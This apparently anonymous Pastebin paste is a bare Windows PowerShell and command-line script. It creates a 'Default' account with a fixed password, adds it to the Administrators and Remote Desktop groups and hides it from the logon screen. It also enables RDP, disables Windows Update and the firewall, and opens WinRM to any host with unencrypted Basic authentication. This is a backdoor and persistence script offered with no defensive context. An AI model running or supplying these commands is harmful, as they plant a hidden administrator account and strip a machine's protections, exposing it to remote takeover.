Advertisement
Guest User

Untitled

a guest
Jan 18th, 2018
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. net user /Delete Default
  2. net user /add Default P@ssw0rdf0rme
  3. $w = (New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-544")).Translate( [System.Security.Principal.NTAccount]).value
  4. $s = (New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-555")).Translate( [System.Security.Principal.NTAccount]).value
  5. $o = (New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-545")).Translate( [System.Security.Principal.NTAccount]).value
  6. net localgroup $w.Remove(0, $w.IndexOf("\")+1) Default /add
  7. net localgroup $s.Remove(0, $s.IndexOf("\")+1) Default /add
  8. net localgroup $o.Remove(0, $o.IndexOf("\")+1) /del Default
  9. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  10. reg add 'HKLM\SOFTWARE\Microsoft\Winadows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v Default /t REG_DWORD /d 0 /f
  11. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
  12. cmd.exe /c sc config wuauserv start= disabled ; cmd.exe /c net stop wuauserv
  13. netsh firewall set opmode disable
  14. $networkListManager = [Activator]::CreateInstance([Type]::GetTypeFromCLSID([Guid]'{DCB00C01-570F-4A9B-8D69-199FDBA5723B}')) ; $connections = $networkListManager.GetNetworkConnections() ; $connections | % {$_.GetNetwork().SetCategory(1)}
  15. Set-Item wsman:\localhost\client\trustedhosts * -Force
  16. cmd.exe /c 'winrm set winrm/config/service @{AllowUnencrypted="true"}'
  17. cmd.exe /c 'winrm set winrm/config/service/auth @{Basic="true"}'
  18. Restart-Service WinRM
  19. Enable-PSRemoting -SkipNetworkProfileCheck -Force
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement